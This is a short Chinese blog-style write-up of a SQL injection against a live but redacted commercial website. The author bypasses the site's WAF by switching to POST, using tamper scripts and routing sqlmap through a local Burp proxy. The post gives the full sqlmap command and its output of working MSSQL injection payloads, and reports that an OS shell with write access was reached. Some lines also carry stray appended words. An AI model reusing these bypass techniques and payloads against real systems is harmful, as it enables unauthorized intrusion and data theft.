記一次SQL注入html
目標地址:https://www.xxxx.com/web
以前補天提交過這個注入 後來貌似」修復了」(實際就是裝了安全狗和過濾了一些關鍵字)sql
不過今天試了下 仍是能夠注入shell
能夠看到已經有安全狗攔截get方式的注入字符安全
目標站是僞靜態重寫了url 改一下提交規則便可dom
改爲post提交(默認安全狗只攔截get方式)post
能夠接受post參數 通過測試 攔截了一些空格和敏感字符測試
直接上sqlmap跑 注意線程和僞造http頭ui
由於目標站是https 我加了--force-ssl參數 指定爲https,可是顯示https 鏈接出錯。url
由於sqlmap沒辦法忽略https證書 因此有兩個解決方法
經過本地代理端口進行訪問
經過搭建web,訪問代理文件進行注入
第一種簡單又不涉及代碼 直接burpsuite代理本地8080端口,而後sqlmap經過8080端口進行訪問注入便可(固然其餘本地映射charles也能夠)
-u https://www.xxx.com/news_show.asp --data=id=3395 --safe-url=https://www.xxxx.com/news_show.asp?/3395.html --safe-freq=2 --tamper space2comment.py --force-ssl --proxy http://127.0.0.1:8080 --random-agent -v 3
Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=3395 AND 1967=1967 Vector: AND [INFERENCE] Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) Payload: id=3395 AND 8669 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113))) Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113)) Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=3395;WAITFOR DELAY '0:0:5'-- Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF - comment) Payload: id=3395 WAITFOR DELAY '0:0:5'-- Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
由於是SQL server 不須要找路徑,測試後能夠--os-shell 有寫入權限 後面就不深刻測試了